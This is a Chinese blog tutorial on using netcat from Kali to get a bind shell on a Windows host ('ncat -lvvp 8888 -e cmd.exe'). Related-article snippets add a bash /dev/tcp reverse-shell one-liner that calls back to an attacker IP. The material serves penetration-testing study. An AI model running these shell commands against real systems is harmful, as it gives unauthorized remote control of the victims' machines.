kali使用nc正向反弹windows shell

最新推荐文章于 2024-08-22 13:59:01 发布
最新推荐文章于 2024-08-22 13:59:01 发布
阅读量1.4k 收藏 9
点赞数
分类专栏： Windows Linux 文章标签： windows 服务器 linux
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/fittec/article/details/126811985
版权
Windows 同时被 2 个专栏收录
197 篇文章 4 订阅 ¥99.90 ¥299.90
订阅专栏 超级会员免费看
Linux
195 篇文章 7 订阅 ¥99.90 ¥299.90
订阅专栏 超级会员免费看
本文介绍了如何使用kali Linux通过nc工具创建一个正向反弹shell到Windows服务器。首先，需要在Windows上下载ncat并监听8888端口，然后在kali系统中连接该端口，成功后即可在kali终端中控制Windows系统。
摘要由CSDN通过智能技术生成

1.下载 ncat.exe 并上传到windows 

 2.查看windows系统IP并运行ncat监听8888端口

 ncat -lvvp 8888 -e cmd.exe

 3.kali主机运行终端 并输入  nc 192.168.31.201 8888 回车后,将反弹windows系统shell到Kali终端

现在可通过这个shell对windows系统进行任何操作 

林宏权
关注
专栏目录
订阅专栏
kali实用工具之NC
2301_78384345的博客
08-17 209
获取shell分为两种，一种是正向shell，一种是反向shell。如果客户端连接服务器端，想要获取服务器端的shell，那么称为正向shell，如果是客户端连接服务器，服务器端想要获取客户端的shell，那么称为反向shell。相当于客户端监听6666端口的nc连接，并且把/bin/bash文件发出去，然后服务端相当于拿到了终端，就可以执行命令了。NC（netcat）被称为网络工具中的瑞士军刀，体积小巧，但功能强大。Nc主要功能是可以在两台设备上面相互交互，即侦听模式/传。
nc.exe(nc反弹)
04-07
netcat被誉为网络安全界的‘瑞士军刀’，相信没有什么人不认识它吧...... 一个简单而有用的工具，透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具，能够直接由其它程序和脚本轻松驱动。同时，它也是一个功能强大的网络调试和探测工具，能够建立你需要的几乎所有类型的网络连接，还有几个很有意思的内置功能(详情请看下面的使用方法)。 在中国，它的WINDOWS版有两个版本，一个是原创者Chris Wysopal写的原版本，另一个是由‘红与黑’编译后的新‘浓缩’版。‘浓缩’版的主程序只有10多KB（10多KB的NC是不能完成下面所说的第4、第5种使用方法，有此功能的原版NC好象要60KB：P），虽然“体积”小，但很完成很多工作。
[基础入门]正向shell和反弹shell
最新发布
恰柠的博客
08-22 1018
其实这个过程是相对的，需要找到一个参考点，假如说现在目标机器是Windows，攻击机器是Linux，Linux去连接Windows这个过程就是正向的，相反，如果Windows主动连接Linux那就是反向的，也叫做反弹。RCE(remote command/code execute) 远程系统命令执行，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。一般出现这种漏洞，是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。
Kali-nc（瑞士军刀）使用
兔子扛刀
10-08 4530
瑞士军刀的基本使用
Window下的反弹shell
qq_58000413的博客
05-05 1258
什么是正向shell?正向shell：控制端主动发起连接请求去连接被控制端，中间网络链路不存在阻碍。反向shell：被控制端主动发起连接去请求连接控制，通常被控端由于防火墙受限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。
【渗透测试笔记】之【内网渗透——传输层隧道（nc的使用：nc的正反向shell、bash(1)
2401_84969775的博客
05-13 421
（边界服务器，外网地址：192.168.8.56，内网地址：10.1.1.10）（边界服务器，外网地址：192.168.8.35，内网地址：10.1.1.13）（边界服务器，外网地址：192.168.8.56，内网地址：10.1.1.10）（边界服务器，外网地址：192.168.8.35，内网地址：10.1.1.13）（边界服务器，外网地址：192.168.8.35，内网地址：10.1.1.13）（边界服务器，外网地址：192.168.8.35，内网地址：10.1.1.13）目录，ubuntu是。
使用nc反弹shell方法
baidu_33260220的博客
05-08 6570
hacker机：192.168.1.1 目标机：192.168.1.2 1、在hacker机执行 nc -vlp 9999  （监听本机9999端口） 2、在目标机执行 bash -i >& /dev/tcp/192.168.1.1/9999 0>&1 成功反弹回shell
详解NC反弹shell的几种方法
01-08
假如ubuntu、CentOS为...正向反弹是目标机先执行nc命令，然后kali上再进行nc监听，即可反弹shell。 需要目标机安装nc。 反向反弹shell 方法1：bash反弹 bash -i >& /dev/tcp/ip/port 0>&1 但首先需要在kali上使用
2024年运维最新【安全知识】——LInux的shell反弹姿势合集（更新中，【工作感悟】
m0_55030688的博客
05-04 616
bash -i 打开一个交互的bash& 将标准错误输出重定向到标准输出/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip，port为端口0>&1 标准输入重定向到标准输出，实现你与反弹出来的shell的交互。
NCrar.rar 反弹工具
10-20
NCrar.rar 反弹工具 网络应用 内网入侵必备~~
NC反弹CMD.EXE
04-20
NC反弹CMD
WEB安全基础 - - -Linux反弹shell
weixin_67503304的博客
08-23 3182
详细讲解Linux反弹shell包含的NC正向shell，NC反向shell，bash反弹shell，无e参数反弹shell，Base64编码绕过，Telnet反弹shell，OpenSSL反弹443端口，流量加密传输
NC反弹Shell
收集盒 Book box
08-30 2964
使用NC反弹Shell 在进行Shell反弹时，有时会碰到服务器不支持PHP或者WebShell无法成功反弹Shell的情况，例如有的服务器只支持JSP，不支持PHP。此时，可以同样采用Windows下的经典的NC反弹Shell方法。 在Windows下反弹CmdSh
常见工具 nc Wireshark反弹shell
代码审计
04-20 1382
常⽤⼯具 • 经常使⽤且功能强⼤ • 安全从业者必不可少的帮⼿ • Nc / ncat • Wireshark • Tcpdump nc -lvp 使用nc 监听特定的端口 nc -nv ip port 连接特定ip下的指定端口 NETCAT ——NC • ⺴络⼯具中的瑞⼠军⼑——⼩⾝材、⼤智慧 • 侦听模式 / 传输模式 • telnet / 获取banner信息 • 传输⽂本信息 • 传输⽂件/⺫录 • 加密传输⽂件 • 远程控制/⽊⻢ • 加密所有流量 • 流媒体服务器 • 远程克隆硬盘 root@
《红蓝攻防对抗实战》六.常规反弹之利用NC在windows系统执行反弹shell
热门推荐
一只特立独行的兔先森
10-23 2万+
假设在内网环境中发现主机，通过漏洞获取到该主机控制权限，想要进一步对内网环境进行后续利用，这里可以通过反弹shell的方式去进行穿透，本次实验以nc工具为例来演示不同系统的操作
8.kali中NC工具的使用方法
分享学习网络的点点滴滴
04-15 5484
nc工具的详细使用
kali /mac 成功的反弹shell语句
没有故事
04-21 1267
2: 这条命令使用，kali 上执行的命令结果会在mac机器上显示出来，mac无法执行命令，kali上执行命令无结果，结果在mac上显示。8: 这个命令，在攻击机上执行，如果有报错会显示在受害者机器上，，攻击机上不显示报错语句。13:这条命令是同步两边执行的命令，不会显示结果。3: 命令执行成功，能反弹成功，但是输入命令无显示，不会用。14: 这条命令在攻击机上报错也不会同步到受害者机器上。该语句在监听机器上执行的语句会同步到被攻击机上。攻击机执行 ncat -u -lvp 3333。
Metasploit实战：Windows栈溢出攻击与反弹shell教程
本文是一篇关于网络安全的Windows漏洞利用教程，主要讲解了如何利用Metasploit框架进行栈溢出攻击和实现反弹shell，目标是Windows XP系统。作者在文章中分享了其自学过程中的实践操作，强调了合法学习和安全意识的...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

林宏权

有你的鼓励，我会更加努力。

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值